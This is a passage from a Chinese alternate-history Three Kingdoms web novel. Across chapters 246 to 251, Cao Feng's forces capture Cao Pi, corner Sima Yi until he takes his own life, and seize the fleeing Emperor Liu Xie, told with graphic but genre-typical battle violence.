贾诩的出现,彻底打乱了他所有的盘算。 第246章 曹丕,还我大哥命来! 曹丕见司马懿沉默不语,心中更是慌乱。 曹丕病急乱投医,竟然自作聪明地转向杀气腾腾的张绣,试图离间。 “张将军!孤若记得没错,当年宛城之战,曹风可是差点亲手斩杀了你!” “你与他之间,也算是有血海深仇!” “况且如今你在曹风麾下,不过屈居偏将之位,郁郁不得志!若张将军肯弃暗投明,助孤一臂之力,孤在此对天起誓,待平定叛乱,重整河山,必封你为大将军!执掌天下兵马!” “荣华富贵,享之不尽!如何?” “住口!”张绣手中长枪直指曹丕,“我张绣当年败于师叔之手,是堂堂正正的战场交锋,技不如人,甘拜下风!生死由命,我张绣认了!” “总好过被你这种卑鄙无耻的小人,用下三滥的毒计暗害,死得不明不白!” 被张绣如此当众怒斥揭短,曹丕脸上通红。 但为了活命,他强压下怒火,继续厚着脸皮劝说道:“张将军!往事已矣!只要你肯不计前嫌,助孤脱困,孤方才的承诺,立刻生效!大将军之位,虚席以待!将军三思啊!” 司马懿听到此话,心中暗自摇头,充满了无奈。 这位自己一手扶上王位的“魏王”,此刻简直是在自取其辱。 有贾诩子啊,张绣不可能背叛曹风的,他也不敢。 果然,张绣只是报以一声充满不屑的嗤笑,再不答话。 张绣猛地一挥手,身后数千精锐骑兵瞬间齐动。 这些训练有素的骑兵队列迅速展开,形成一个包围圈,彻底封死了曹丕、司马懿及其残部所有可能逃亡的方向。 双方人马隔着数十步的距离,剑拔弩张地对峙着。 半炷香的时间过去,见张绣依旧按兵不动,曹丕紧绷的神经终于到了极限。 他猛地拔出佩剑,指向张绣:“张绣!你这匹夫!要战便战!要杀便杀!如此拖延时间,是何道理?!” 司马懿正全神贯注地观察着张绣骑兵阵型的右翼,那里似乎因为地形略有起伏,队列衔接处出现了一丝极其细微的松动。 他心中正急速盘算着集中所有力量冲击此点的成功率。 曹丕这突如其来的呵斥,瞬间打断了他的思路。 司马懿心中涌起一股强烈的烦躁与愤怒,恨不得立刻堵上曹丕的嘴。 然而,一个念头突然出现在司马懿的脑海! 张绣为何围而不攻? 他在等什么? 拖延时间…… 拖延时间?! 司马懿的脸色骤然剧变,眼中充满了惊骇! 他猛地抬头望向邺城方向,失声惊呼:“不好!中计了!” “张绣在拖延时间!” “快!全军听令!不惜一切代价,立刻向东北角突围!” “曹风的主力骑兵要到了!快!快冲出去!” 司马懿的惊呼声尚未落,从邺城方向,隐隐约约传来了密集的马蹄声。 这声音初时微弱,但迅速变得清晰、响亮! 大地开始剧烈地颤抖! 只见远方地平线上,如同黑色洪流的精锐骑兵,正向着司马懿等人的方向狂飙突进! 曹风一骑当先,冲在最前方。 曹风一双虎目死死锁定人群中的曹丕,手中银枪高高举起,发出怒吼:“曹丕狗贼!还我大哥命来——!” 声音中充满了刻骨的仇恨。 张绣知道等待的时机终于成熟。 他猛地一挥长枪:“时机已到!众将士听令!” “不要管曹丕,其他人等,格杀勿论!一个不留!” 曹丕必须留给曹风亲手处置。 至于追随曹丕和司马懿的这数千死忠,在张绣眼中,早已是死人,没有留下活口的必要。 司马懿在曹风出现、张绣下令的瞬间,就做出了决断。 他看都没看曹丕一眼,眼中只剩下求生欲望。 他猛地一夹马腹,对着身边仅存的几十名最忠诚的亲卫死士厉声喝道:“随我冲!向东北角!杀出去!” 他毫不犹豫地放弃了曹丕,义无反顾地朝着他先前观察到的那处阵型薄弱点,发起了亡命冲锋! 而此刻的曹丕,看到那如同杀神般冲来的曹风,早已吓得魂飞魄散,大脑一片空白,手中的长剑几乎要脱手掉落。 曹丕身边一名忠心耿耿的亲卫队长,情急之下,猛地扬起手中的马鞭,用尽全身力气,狠狠抽打在曹丕坐骑的后臀上! “魏王快走!我等誓死为魏王断后!拦住……” 他想喊出“拦住曹风”,然而“曹风”二字尚未出口,两支锋利的雕翎箭,一支穿透了他的咽喉,一支深深钉入了他的心脏! 这名亲卫队长身体猛地一僵,随即栽落马下,气绝身亡! 射出这两支夺命箭矢的,是曹风军中的神射手—— 老将黄忠和骁将曹性! 两人几乎同时发现了这个企图助曹丕逃脱的威胁,毫不犹豫地出手射杀! 曹性一击得手,犹自怒喝。 “大胆贼子!休想坏我家公子大事!” 旁边一名副将连忙低声提醒:“曹将军!慎言!该尊称魏王了!” 曹性闻言,非但没有惶恐,反而豪迈地哈哈大笑起来。 “哈哈哈!过了今日,公子便不再是魏王!咱们直接称呼陛下便是!省了麻烦,” “公子……哦不,陛下心胸宽广,也必不会怪罪!” 就在这时,一阵爽朗的大笑声由远及近,只见老将黄忠策马从后方疾驰而来。他看向曹性,带着毫不掩饰的赞许。 “好箭法!这一箭,快、准、狠!后生可畏啊!” 曹性面对这位军中传奇般的神射手,立刻收起了狂傲,恭敬地抱拳回礼:“黄老将军谬赞了!晚辈这点微末伎俩,全赖前辈们指点。日后还望老将军多多提点,晚辈定当虚心求教!” 黄忠捋了捋花白的胡须,大笑道:“提点不敢当!老夫观你箭术已有大家风范。” “今日之战,你若能射杀三十名敌兵,待战后休整,老夫便与你好好切磋一番!如何?” 曹性闻言,大喜过望! 能得到黄忠这样的箭神亲自指点,对他的箭术提升将会很大! 他立刻挺直腰板,朗声道:“老将军一言为定!晚辈定当全力以赴!” 话音未落,他已然再次开弓如满月,锐利的目光瞬间锁定了远处一名正试图策马逃离战场的曹丕亲兵。 弓弦震颤,箭矢离弦,如同一道追命的闪电,精准地穿过己方士兵移动时产生的微小空隙,狠辣地射中了那名逃兵的后颈! 那人连哼都没哼一声便栽落马下。 接下来的战斗中,曹性策马游弋在战阵边缘,弓弦每一次震动,必有一名试图阻拦曹风追杀曹丕的敌军将士应声落马。 黄忠也在一旁策应,时而也射出致命的箭矢。 两位神射手的配合,为曹风开辟出一条直通曹丕的通道。 第247章 黑子:小小曹丕,哪里逃! 当年的宛城之战中,曹丕坠马后,险些丧命。幸好曹昂顾念兄弟之情,重新杀入敌阵,将他救起。 后来,曹丕也是靠着出卖曹昂,和利用曹昂的快马,才侥幸逃过一劫。 但没了马的曹昂,却永远留在了那里。 经此一役,曹丕深刻意识到,在瞬息万变的战场上,一匹真正顶尖的良驹才是保命的关键。 因此,当他在司马懿的谋划下终于如愿以偿的成为“魏王”、执掌大权后,便不惜代价,倾尽所有资源搜罗天下名驹。 重赏之下,必有勇夫,也必有良马。 在花费了大量金银财宝,动用上千人力寻找之后,终于有一匹名为“奔雷”的神异骏马被送进了魏王宫。 曹丕初见便知此马绝非凡品。 这马不仅四蹄健硕,还通人性。 如今生死关头,奔雷果然没有让曹丕失望。 当亲卫头领手中的马鞭抽打在奔雷的后臀后,它“嗖”地一声 冲了出去。 瞬息就冲出数丈之远! 这马不仅速度极快,四蹄踏地的节奏也是稳如磐石。坐在它背上的曹丕并没有感觉到太多的颠簸。 由于前行的速度太快,疾风拍打着曹丕脸上,几乎令他睁不开眼,但心中却涌起狂喜和快意。 曹丕下意识地用眼角的余光扫向身后紧追不舍的曹风。 想到自己拥有如此神驹,对方定然追不上,曹丕这才露出得意的笑容。 但这笑容仅仅维持了片刻,便被一种难以置信的表情所取代。 曹丕一手用力握住马缰,一手揉了揉眼睛。 他怀疑是自己被疾风刺激得视线模糊。 因为他竟然发现,曹风座下那匹马的脸上似乎…… 似乎出现了一个很诡异的表情! 那绝非马匹应有的神态! 那匹白马嘴角上扬的弧度,眼睑微眯的线条,组合成了充满人性化嘲讽意味的笑容! 这诡异的一幕瞬间冲散了曹丕原本的得意。 他猛地甩了甩头:“一定是幻觉!马怎么可能……怎么可能露出如此像人、如此邪性的笑容?” 曹丕强迫自己将视线转向前方,专注于驾驭奔雷。 然而,曹丕的自我安慰并没能持续多久。 心中不安感让他忍不住再次回头望去。 这一次,他看得更加真切—— 那匹白马,它确确实实是在笑! 而且那笑容似乎变得更加张扬、更加“魔性”,带着一种猫捉老鼠般的戏谑! 让曹丕浑身发冷的是,曹风与他之间的距离,竟在急剧缩短! 曹风拍了拍黑子的脖颈:“老伙计,不用再戏耍他了!直接追上!让那个黄骠马知道,谁才是马王!” “黑子”似乎听懂了曹风的话,极其人性化地打了一个清脆而有力的响鼻,像是在对奔雷发出不屑的嗤笑。 它四蹄突然间发力,猛地加速,爆发力远超过了曹丕的坐骑雷电,不一会儿便追上了曹丕,与其并排疾驰! 这突如其来的变故,吓得曹丕险些从马上跌落。 世间怎会有如此快如鬼魅的马匹?! 曹丕突然想来了。 当年的宛城之战,正是这匹白马,载着曹风前去救援曹昂! 如今,多少年过去了? 这匹马按常理早该步入迟暮之年! 可它…… 它怎么还能拥有如此的巅峰速度?! 甚至胜过了壮年的神驹奔雷! 曹风根本不给曹丕任何喘息和思考的机会。 就在两马交错、曹丕心神失守的刹那,曹风手握五虎断魂枪,发起了攻击。 曹丕紧握在手中、本能想要格挡的宝剑,被一股巨力硬生生挑飞,旋转着脱手而去,远远地插进了路旁的泥土之中。 曹丕在这一击之下,虎口崩裂,半边身子瞬间麻木。他惊恐的声音还没发出,曹风那蕴含着刻骨仇恨枪杆,狠狠砸在了他的胸腹之间! “嘭——!” 曹丕身上的铠甲被曹风瞬间砸裂。 受了这一重击,曹丕只觉自己的五脏六腑仿佛都移位了。 曹丕口中鲜血狂喷,从奔雷马背上狠狠摔落,重重砸在冰冷坚硬的地面上。 这一摔让他伤势更重,只觉得此刻天旋地转,全身骨头仿佛散了架、 强烈的求生欲望,让曹丕顾不上身体的剧痛,他在尘土中疯狂地、不顾一切地翻滚、挣扎、爬行,试图远离曹风。 曹丕披头散发,狼狈到了极点,哪里还有半分魏王的威仪? 他表情扭曲,用尽全身力气喊道:“护驾!快护驾!” “救我!杀了曹风!!” 可他的亲卫刚要靠近曹风,便曹性的箭矢射穿脖颈。 曹风纵马来到曹丕身旁,手中五虎断魂枪的枪尾砸在了曹丕的后颈之上。 曹丕的嚎叫戛然而止,眼前一黑,像一滩烂泥般瘫软在地,彻底失去了意识。 曹风亲卫扑了上来,用粗绳将曹丕捆了个结结实实,如同待宰的牲口。 曹风勒住黑子,居高临下地俯视着脚下昏迷不醒的曹丕。 他真想现在就一枪捅下去,将这害死曹昂的畜生钉死在地上,用他的鲜血来祭奠大哥的亡魂! 但曹风最终还是强行将杀意压了下去。 让曹丕如此轻易地死去,这太便宜他了! 凌迟…… 只有千刀万剐的极刑,才能稍解他心头之恨! 也让这曹丕感受一下,当年曹昂浑身是伤的痛! 曹风深吸一口气,对亲卫下令:“严加看管,寸步不离!堵住他的嘴,卸掉他的下巴关节!绝不能让他有机会自尽!” “他若死了,尔等提头来见!” 处理完曹丕,曹风的望向司马懿仓皇逃窜的方向。 司马懿这只老谋深算的狐狸,以为能逃出他的掌心? 太天真了。 与此同时…… 在通往北方的崎岖山路上,司马懿虽然成功逃脱,却仍心有余悸。他并非全身而退——几道深可见骨的伤口正不断渗血,染红了破烂的衣袍。 剧烈的疼痛和失血让司马懿脸色惨白如纸,呼吸急促而艰难,每一次颠簸都带来撕心裂肺的疼痛。 司马懿带着仅剩的几个亲卫,一头扎进路边的密林。 司马懿强忍着剧痛,虚弱地抬起手,示意仅存的几名护卫停下脚步,稍作喘息。 他背靠着一棵粗壮的古树,大口喘着粗气。 短暂的喘息之后,司马懿,捕捉到了极其不寻常的细节—— 这片密林,太安静了! 安静得诡异! 听不到任何鸟雀的鸣叫,只有风吹过树叶的沙沙声。 第248章 司马懿,死! 作为一个熟读兵法和精通谋算的人,司马懿立刻反应过来,如此寂静的树林,意味着什么。 这里有必定有埋伏! 司马懿原本还暗自庆幸逃过一劫。可此刻,他的这份侥幸彻底被绝望取代。原来自己从未真正逃脱。 自始至终,他都深陷曹风所布下的困局之中。 司马懿心中突然涌起一股前所未有的无力感。面对曹风这个对手,仿佛一切挣扎都是徒劳。 “天要亡我司马懿?!曹风!真是好算计!” 司马懿话音刚落,密林深处突然传来一阵异动! 原本死寂的林中,瞬间冲出大批精锐士兵。他们身披重甲,手持利刃,杀气腾腾,从四面八方围了上来! 转瞬间,司马懿和他仅剩的几个亲卫就被团团包围。 紧接着,包围圈外围的士兵向两侧分开,让出一条通道。 一阵轻微的车轮滚动声传来。 一架样式奇特、由硬木打造的四轮车被缓缓推到了包围圈的前沿。 马车上坐着一个人,身穿素色长袍,面容红润,眼神幽深。他就这么静静地看着司马懿,仿佛在看一个走投无路的困兽。 司马懿看清车上那人的脸时,整个人如遭雷击! 他猛地一晃,原本惨白的脸色彻底没了血色,瞳孔因极度震惊而紧缩。 司马懿颤抖着抬起手指,指向那个绝不可能出现的人,声音惊骇:“郭……郭奉孝?!你不是早就病死了吗?!” “葬在柳城?!你……你是人是鬼?!” 郭嘉看着司马懿那副活见鬼的表情,只是嘴角微扬,露出一丝淡然的微笑,一切正如他所料。 郭嘉不紧不慢地整了整衣袖,目光平静地望向失魂落魄的司马懿:“仲达,走得这么急,是要去哪儿啊?” 司马懿没有回答郭嘉。短暂的失神后,他突然爆发出一阵近乎癫狂的大笑。 笑得前仰后合,笑得眼泪横流,笑声充满了自嘲、不甘。 “哈哈哈……” “好!好一个曹风!” “好手段……真是好手段啊!” 司马懿死死盯着郭嘉:“居然能把‘已死之人’藏到现在,就为了对付我?哈哈哈……” “这一局,我输得心服口服!曹风,你真是让我临死前……开了回眼界!大大的开了眼界啊!” 司马懿的笑声渐渐停息,死死盯着郭嘉那张平静的脸。他舔了舔干裂的嘴唇,声音嘶哑:“奉孝,事到如今,我司马懿还有活路吗?” 话刚出口,他自己都觉得可笑。 自从卞夫人带着曹丕踏进司马府问计策的那天起,他就注定是曹风的死敌。 现在问这种问题,简直就是在做梦。 郭嘉果然缓缓地摇了摇头:“仲达,你心中早已有答案,何必自欺?” “你本就不该活到今日。当年在许都,我曾多次力谏明公,当断则断,应尽早将你这‘鹰视狼顾’、心怀叵测之徒除去,以绝后患。可惜……明公还是把你留到了最后。” 司马懿叹了口气,也没怪罪郭嘉,而是恳求道:“奉孝,我会自戕谢罪。可否放过我的家人?” 郭嘉摊手道:“我说了不算。不如你亲自去问魏王。” 司马懿听完,脸色彻底变得惨白,露出一个比哭还难看的笑。他没再看郭嘉,也没管周围那些闪着寒光的刀剑。 司马懿慢慢抬起那只没受伤的手,用力握住了腰间的剑柄。 他知道,从郭嘉出现的那一刻起,自己就逃不掉了。他的家人也将会受到牵连。 司马懿平静地说:“问魏王?我又何必再自取其辱?” 话音未落,在所有人的注视下,司马懿直接把剑横在脖子上。眼神一狠,手臂猛地一拉! “嗤——!” 鲜血喷洒而出,瞬间染红了他的衣襟。司马懿身体猛地一抖,眼神迅速黯淡下去。 “当啷”一声,长剑掉在地上。 这个原本在历史上搅动三国风云、野心勃勃的谋士,最终用最狠的方式,结果了自己。 郭嘉身边的一名亲卫心中忐忑,提醒道:“郭大人,来之前,魏王说过要活得……如今这司马懿自戕了,该如何交差啊?” 郭嘉看了眼倒在地上的司马懿,又看看自己的双腿,面色古怪道:“你觉得我这腿脚,能拦下他吗?” 那亲卫尴尬的挠了挠头,“好像是不能……” “什么叫好像?!”郭嘉气得直瞪眼:“是压根儿就拦不住!记得回去交差时,不要乱说话,看我眼色行事。” 那亲卫赶紧摆手:“这我可不敢骗魏王!罚我认了,但绝不能欺瞒魏王啊!先不说我自己心里过意不去,若是让俺爹娘知道了,我这辈子都别再进家门。” 这名亲卫是从曹风的亲卫营调来的,武功很高,专门负责保护郭嘉。他父亲是西凉老兵,他自己也是曹风当年在天水亲自挑选的贴身护卫。 郭嘉无奈地摇摇头,心里却暗暗佩服曹风。谁都不是傻子,没人会为一个对自己不好的人卖命。这个亲卫能这么忠心,可见曹风平时对他们有多照顾。 能做到这种程度,曹风起码不是个昏庸的主公。 就在两人说话间,司马懿的死士们纷纷拔刀自尽。 另一条逃亡之路。 刘协这位早已名存实亡的皇帝,在王允给他留下的死侍拼死护卫下,极其狼狈地逃出了邺城。 为了躲避追捕和盘查,刘协早已忍痛脱下了龙袍,换上了一套粗布麻衣。 他身边的死侍们也都换上了破旧不堪、打着补丁的平民服饰,混杂在因战乱而四处逃难的流民队伍中,试图以此掩人耳目。 刘协心中又悲又怒:“朕乃大汉天子,九五之尊,竟要受此盘查,简直是奇耻大辱!” 他脸上挂不住,心里更是憋闷,恨不得立刻回头找曹风拼命。可双腿却很诚实,依旧拼命往前逃。 一路向北,亡命奔逃。 刘协等人不敢走官道,只能在荒僻的小径、崎岖的山路上艰难跋涉。 不知跑了多久,也不知跑了多远,精疲力竭的刘协一行人,终于在一处早已荒废的破败村落边缘停了下来。 这里早就没了居民,只剩下摇摇欲坠、屋顶塌陷的土坯房。 刘协扶着一堵半塌的土墙,胸膛剧烈起伏,大口大口地喘着粗气。 他艰难地抬起沉重的手臂,止住身边同样疲惫不堪、却仍强打精神警戒的死侍首领:“歇……歇息片刻……” “朕实在走不动了,待缓过气来,再走不迟……” 得到命令,死士们稍稍松了口气,但依旧保持着高度的警惕,迅速占据有利位置,目光扫视着周围的环境。 第249章 菜就多练,玩不起就让位 刘协背靠着冰冷的土墙,缓缓转身,目光越过荒芜的土地,望向邺城方向。 难道真要成为亡国之君了吗? 一股悲凉夹杂着屈辱,再次涌上刘协心头。 此刻他不禁后悔,当初不该听信王允的话毒死韦婉,以致招惹了曹风这个煞星。 他低下头,看着自己身上这件粗糙、甚至有些地方已经磨破麻布衣服,这恐怕是他自出生以来,第一次穿上如此低劣的布料! 这巨大的落差,让他心中充满了难以言喻的委屈和辛酸。 他脑海中不由自主地又浮现出曹操那冰冷、压得他喘不过气的面容; 想起那些年在许都宫阙之中,自己是如何在曹操的阴影下战战兢兢、如履薄冰,连生死都操控于他人之手的日子…… 与那段漫长而屈辱的傀儡生涯相比,此刻这逃亡路上的艰辛和身上这件粗布麻衣带来的不适,又算得了什么呢? 刘协用力抹了一把脸,强行将那股软弱压了下去,对着空旷的废墟和远方的烽火,咬牙切齿地低声咒骂。 “老曹贼死了!本以为能喘口气……” “没曾想,又来了一个更狠、更绝的小曹贼!曹家!曹家!难道真是我刘协命中注定的克星吗?!是天要亡我大汉吗?!” 这时,一直垂首侍立在他身旁、负责统领这支精锐死侍小队的首领,低声问道:“陛下,此地不宜久留。” “接下来,我们该往何处去?还请陛下示下。” “往何处去?” 刘协被这问题问得一愣,脸上顿时浮现出迷茫和无措。 是啊,天下之大,何处才是他这落魄天子的容身之所? 南方的渡口,早已被曹风麾下的大将周泰率重兵牢牢把守,根本无法渡河。 南下之路,已被彻底堵死。 只剩下继续向北,深入苦寒的幽州,甚至更远的塞外胡地这一条路了。 可那里,等待他的又会是什么? 刘协只觉得前路茫茫,一片黑暗。 就在刘协陷入迷茫,死侍们抓紧时间恢复体力的时刻。 在这间勉强还算完整的破屋里,众人头顶的房梁上突然传来一个懒洋洋的声音。 “前路不通?不如我给你指一条出路吧……” “下去见王允老儿,如何?” 这声音来得突然,吓得刘协浑身一抖! 魂儿都快飘出体外。 刘协猛地一个激灵,抬头向声音来源的房梁望去。 他之前明明仔细打量过这间破屋,根本没有外人。 这人是什么时候潜伏上去的? 他到底在上面待了多久? 自己这群人所有的狼狈、所有的对话、所有的恐惧,岂不是都被此人尽收眼底?! 当刘协看清蹲在房梁阴影中那人的脸时,顿时吓得惊叫出声,哪还有半点天子的威仪! 那张懒洋洋、像是没睡醒的脸,他认得! 正是之前在皇宫大殿之上,救走孙立的剑客首领! 他是曹风的人! 刘协“噌”地一声从地上弹了起来,几乎是连滚带爬地躲到了身边死侍头领身后,死死抓住对方的衣襟,仿佛那是唯一的救命稻草。 见刘协浑身止不住地发抖,房梁上的史阿突然笑了:“公子那句话怎么说来着……” 史阿停顿了一下,拍着脑袋道:“啊,想起来了。” “菜就多练,玩不起就让位!” 那名死侍头领警惕的看向史阿,心中震惊。 他之前明明已经派遣了手下最机灵的斥候,将这片废弃村落,尤其是这间选作临时歇脚点的破屋,里里外外、上上下下都仔仔细细地探查了数遍。 确认绝对安全后,才敢让刘协在此稍歇! 房梁上怎么可能藏着个大活人而没人发现?! 这简直是在打他的脸! 他猛地抽出腰间的环首刀,刀锋直指房梁上的史阿,厉声喝道:“何方鼠辈?!护驾!” 与此同时,屋内其他几名反应过来的死侍也纷纷拔出武器,瞬间组成一个紧密的防御阵型,将刘协牢牢护在中心,所有人的目光都死死锁定在房梁上的史阿。 面对下方明晃晃的刀锋,房梁上的史阿却显得异常轻松,甚至有些百无聊赖。 他手中那把古朴的长剑并未出鞘,只是随意地搭在膝盖上。 他甚至还懒散地打了个哈欠,目光投向那早已没了门板、只剩下一个空洞框架的房屋入口。 “李大人,您还等什么呢?赶紧动手料理了吧!” “这天都快黑了,我还急着回去练剑呢!别耽误我功夫!” 史阿的话音刚落,屋内的死士们心头俱是一震。众人不约而同地转头,齐刷刷望向空无一人的门口。 屋外,响起凄厉的惨叫! 这突如其来的变故让屋内的死侍们脸色剧变! 屋里的死侍们脸色大变,还没等他们反应过来,一群黑影涌了进来。 这些黑衣人动作又快又整齐,带着杀气,把刘协和他那几个忠心的死侍团团围住。 随后,一个身影从屋外踱步而入。 此人穿着文士长袍,脸上覆盖着一张青铜面具。 在众人注视下,这位神秘的“李大人”缓缓抬起手,摘下了脸上那张狰狞的青铜面具。 刘协看清那张脸的瞬间,整个人由于过度惊恐,几乎喘不过气来。他的牙齿不停地打颤,发出“咯咯”的响声,身体抖个不停。 他指着对方:“李……李儒?!” “是……是你!李儒!!!” 这张脸,是刘协童年最深的噩梦。 当年董卓乱政时,在洛阳皇宫那个血腥的夜晚,他躲在柱子后面,亲眼看着李儒将毒酒灌进他皇兄刘辩的嘴里。 刘辩死前的惨样,深深烙在刘协的记忆里。 那张脸因痛苦而扭曲着。 七窍流着黑血,眼睛瞪得大大的,死不瞑目。 这个画面成了刘协小时候最可怕的噩梦,多少个夜晚都挥之不去。直到如今,也是他忘不掉的阴影。 极度的恐惧激发了求生的本能。 刘协强撑着发软的双腿,没有瘫倒。 他指着李儒,试图抓住最后的机会:“李儒!你毒死先帝,罪大恶极,天下人都恨不得杀了你!” “你要是敢再杀皇帝……敢杀朕……你一定会遗臭万年!永远被后人唾骂!你就不怕吗?!” 然而,李儒甚至连眼皮都没抬一下。他像是听到了什么极其可笑的事情,嘴角的冷笑反而加深了。 李儒小心翼翼地从宽大的袖子中,掏出一个小黑瓶。 “遗臭万年?永世不得翻身?呵呵……” “杀一个是杀,杀两个不也是杀?” “反正我李儒的名声,从毒死刘辩那天起就臭了,再臭一点又怎样?” 他轻轻晃了晃手里的小黑瓶,“让我来动手,送你去和刘辩团聚。” “这样我家公子……哦,现在的称呼应该是魏王了,马上就是陛下了。” “这样,魏王就不用背上‘弑君’的骂名了。” “然后,魏王再杀了我这个弑君之人,就能名正言顺的坐上龙椅……” “这笔买卖,很划算。”李儒的话彻底粉碎了刘协心里最后一点希望。 刘协指着李儒,声音颤抖:“疯子!你这个疯子!” 第250章 王双:还我干娘命来! 见李儒如此决绝,刘协心中残存的最后一丝希望也彻底的破灭了。 他想起当年李儒是在董卓的威胁下,才亲手毒死了他的皇兄刘辩。 刘协原本还抱有一丝希望,觉得李儒或许是迫不得已,心里可能还有悔意。如果真是这样,这份悔意说不定能让他动摇。 那么,他用帮李儒“平反”作为条件,或许能拉拢这位曾经的毒士。 可李儒此刻决绝的回答,彻底打碎了刘协的幻想。 这位绝顶聪明的谋士,竟主动要将弑君的千古骂名揽于己身! 他甚至准备用自己的性命作为代价,亲手将曹风推上那至高无上的龙椅! 刘协不理解,李儒这么聪明的人,为何会做这种傻事。 有什么比自己的生命还重要的事情吗? 但此时刘协也清楚了。 李儒早已不是那个在董卓麾下权衡利弊的谋士了。 他已经成为为曹风最死心塌地的爪牙。 为了曹风的大业,李儒甘愿抛弃性命,那就更不在乎早已狼藉的名声了! 这李儒还真是毒士,发起狠来,以身入局,连自己都不放过。 李儒手里那个不起眼的小黑瓷瓶,加上他那冰冷的语气,吓得刘协魂都快飞了。 以至于他都忘记了,房梁上还有另一个致命的危险。 史阿的剑,不知什么时候,已经出鞘了。 就在这时,屋外突然响起一阵由远及近的马蹄声。 李儒脸上那冰冷而决绝的笑意,在听到蹄声的一刹那,微微凝滞。 随即,遗憾和无奈,取代了李儒心中原本的那抹狠厉。 李儒叹了口气。 他小心翼翼地将装着毒药的小黑瓷瓶,重新收拢进宽大的袖袍深处。 他……终究还是赶来了。 自己还是迟了。 既然曹风来了,那么这“弑君”的恶名,无论如何,今日都必须由曹风亲手背负了。 杀母之仇,不共戴天! 这份血海深仇,曹风不会允许他人代劳。 李儒是跟随曹风最久的谋士,他比谁都清楚。曹风绝不会采纳他那条“弑君嫁祸”的毒计。 曹风更是不会为了所谓名正言顺地登基,就让跟随自己多年的李儒背上这口黑锅,更不会因此对他痛下杀手。 沉重的脚步声伴随着铠甲摩擦声越来越近。 曹风只带着王双一人,踏入破旧的房屋。 当王双的目光落在跌坐地上、狼狈不堪的刘协身上时,他那张平日里显得憨厚、耿直的脸庞瞬间扭曲。 王双红着双眼,迈开大步,朝着刘协猛冲过去! “护驾!快护驾!” “刁民!放肆!朕乃天子!九五之尊!” 刘协惊恐万状,手脚并用地向后蹭去。 他身边的死侍们立刻反应过来,分出一半人手,悍不畏死地迎向王双。 “滚!都给我滚!”王双暴怒的吼声,震得房梁上的灰尘直往下掉。 房梁上的史阿还是第一次见到王双发狂,心里不由得一惊。就算是他这样的高手,此刻要是对上王双,恐怕也得暂避锋芒。 王双右臂青筋暴起,流星锤带着破风声狠狠扫出。左手锋利的凉刀同时劈砍,招式凶猛,完全是一副拼命的架势。 “我管你是不是天子!”他双目赤红地咆哮着,“杀人偿命!还我干娘的命来!” 冲在最前面的七八个死士,根本挡不住暴怒之下的王双。 断手断脚四处飞溅,惨叫声响成一片。 浓烈的血腥味瞬间充斥了破旧的房屋。 剩下的死士看到这一幕,全部扑了上来,想靠人多挡住这个杀神。 死士首领将浑身发抖的刘协死死挡在身后。 他握刀的手青筋暴起,眼中满是悲愤和绝望:“王司徒,属下辜负了您的救命之恩!今天……今天恐怕保不住皇上了!”= 然而还没等王双杀穿敌阵冲到跟前,一道孩童般矮小的身影已经抢先扑向死士首领! 正是之前在江夏拦截孙尚香时现身,被红鸢叫做“小泥人”的那个李儒心腹杀手。 “我很欣赏你的忠诚……”小泥人尖细得嗓音说道,“那就把你做成泥人吧?” 死侍首领一开始根本没把这个矮小的对手当回事。 可刚交手几招,他就惊得满头冷汗。 对方的刀法又快又怪,角度刁钻得难以预料! 他每次闪躲都慢了一步。 短短十几个回合,他的手臂、肋下和大腿,就被划出十几道伤口,鲜血很快染红了衣服。 好快的刀! 好邪门的功夫! 死士首领心中大惊,他从未遇到过如此诡异难缠的对手。 就在王双将最后几名围攻的死士尽数斩杀的时候,死士首领与小泥人的战斗也结束了。 一道寒光闪过,精准地划过死侍首领的喉咙,鲜血瞬间喷溅而出。 他瞪大双眼,满脸不甘,手里的武器“当啷”一声掉在地上。高大的身躯轰然倒下。 直到死,他仍然保持着护卫的姿势。 刘协瘫坐在冰冷的地面上,目光所及之处,尽是横七竖八的尸体和鲜血。 浓烈的血腥味儿和残肢断臂,让刘协干呕了几声。 随后,他浑身发颤,牙齿咯咯作响,帝王尊严在恐惧面前荡然无存。 刘协本能地抓起掉落在地的宝剑,双手死死握住剑柄,毫无章法地胡乱挥舞着。 在恐惧之下,多年来暗中苦练的剑术招式忘得一干二净。 王双双眼通红,怒吼一声,抡起凉刀狠狠劈下! “铛”的一声,刘协的宝剑直接被震飞出去。 还没等刘协反应过来,王双的大手已经一把抓住他的衣领,竟把这个名义上的皇帝整个人提了起来! 身高两米有余、壮硕如山的王双面前,被悬在半空中的刘协,双腿徒劳地蹬踹着,活像一只挣扎的小鸡崽。 王双另一只手将武器丢弃,然后猛地抓住刘协胡乱抓向他的一条胳膊。 五指和手臂猛然发力…… 令人牙酸的骨骼碎裂声清晰响起! “啊——!!!” 剧烈的疼痛让刘协的面容扭曲,豆大的汗珠滚滚而下。 剧烈的疼痛让刘协彻底疯了。 他瞪裂眼角,冲着门口那个一动不动的人影嘶声怒吼:“曹风!你这叛贼!竟敢放纵手下这样羞辱朕!” “就算你爹曹操活着的时候,也不敢对朕这么放肆!你这是造反!要遭天打雷劈的!” 第251章 吕蒙、陆逊偷袭荆州 “双子,把他丢到地上。”曹风的声音终于响起了。 王双已经杀红了眼,但听到曹风不容违抗的命令,还是硬生生压住杀心,像扔垃圾一样把刘协重重摔在地上! “砰!”刘协被狠狠摔在冰冷的地面上,一口鲜血喷了出来,眼前直冒金星,差点昏死过去。 他艰难地抬起头,看着曹风一步步逼近的身影,用尽最后的力气,颤抖着喊道。 “曹风!你……你别做傻事!” “今天你要是敢杀朕,就是和全天下作对!” “天下的忠臣义士,都不会放过你这个叛贼!你们曹家,一定会遗臭万年!” 曹风缓步走到刘协跟前,低头俯视着这位曾经的九五之尊,从怀里掏出三份血诏。 正是刘协之前在邺城写下的密诏。 曹风随手把血诏甩在了刘协脸上。 曹风冷笑一声:“你说的天下的忠臣义士……” “是那个到处乱窜的刘备?缩在江东的孙权?还是窝在益州不敢出头的刘璋?” 曹风每说一个名字,刘协的脸色就惨白一分。 刘协抓起散落在身上的血诏,看着上面自己亲手写下的字迹和按下的血指印,瞳孔骤然收缩,怨恨道。 “王越……王越终究没能逃过你的毒手!苍天无眼!朕的忠臣都死绝了!” 刘协嘶吼着,声音中充满了绝望和不甘。 可话还没说完,他突然像被雷劈中一样,整个人僵住了,脸上露出不敢相信的表情。 只见他的“忠臣”王越,毫发无损地走了进来,并对曹风恭敬地行了一礼。 王越冷冷地瞥了刘协一眼:“我好得很,不劳你费心。” 刘协整个人都懵了,像被刀子捅进心窝一样! 他这才恍然大悟:王越根本就是曹风的人! 之前那些“救驾”、阻拦孙立的“忠勇”表现,全他妈是演戏! 自己像个白痴一样被耍得团团转! 